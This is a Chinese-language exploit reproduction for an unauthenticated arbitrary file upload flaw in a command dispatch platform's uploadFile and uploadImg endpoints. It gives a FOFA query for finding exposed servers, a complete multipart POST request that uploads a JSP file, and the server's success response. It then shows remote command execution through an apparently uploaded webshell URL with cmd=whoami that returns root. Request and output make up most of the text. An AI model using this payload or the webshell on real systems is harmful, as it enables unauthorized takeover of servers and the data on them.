

K5-2可视化融合指挥调度平台-文件上传

漏洞描述：

可视化融合指挥调度平台 uploadFile、uploadImg等接口处存在任意文件上传漏洞，未经身份验证的攻击者可利用此漏洞上传恶意后门文件，导致服务器权限被控。

影响版本：

- 可视化融合指挥调度平台

网站图片：



网络测绘：

fofa语法：

FOFA: body="base/searchInfoWindow_min.css"

漏洞复现：

payload:

```
POST /dispatch/layuiIm/uploadImg HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7ctER307B0RaQwOp

-----WebKitFormBoundary7ctER307B0RaQwOp
Content-Disposition: form-data; name="file"; filename="1.jsp"

<% out.println("hello,123");%>
-----WebKitFormBoundary7ctER307B0RaQwOp--
```

效果图：

Request

1 POST /dispatch/layuiIm/uploadImg HTTP/1.1

2 Host : your-ip

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

5 Accept-Encoding: gzip, deflate

6 Accept-Language: zh-CN,zh;q=0.9

7 Connection: close

8 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7ctER307B0RaQwOp

9

10 -----WebKitFormBoundary7ctER307B0RaQwOp

11 Content-Disposition: form-data; name="file"; filename="1.jsp"

12

13 <% out.println("hello,123");%>

14 -----WebKitFormBoundary7ctER307B0RaQwOp--

Responses

https 108bytes / 22ms

1 HTTP/1.1 200

2 Server: nginx

3 Date: Mon, 22 Apr 2024 08:52:39 GMT

4 Content-Type: text/html; charset=UTF-8

5 Connection: close

6 Access-Control-Allow-Origin: *

7 Access-Control-Allow-Methods: GET, POST, *

8 Access-Control-Allow-Headers: *

9 Content-Length: 108

10

11 {"msg": "success", "code": 0, "data": {"src": "1713775959411.jpg"}}

验证

⏪

⏩

🔄

⚠️ 不安全

https://[redacted]/media/png/2024/4/22/1713775959411.jpg

hello,123

RCE

⏪

⏩

🔄

⚠️ 不安全

https://[redacted]/media/other/2024/4/7/1712464352193.jsp?pwd=123&cmd=whoami

root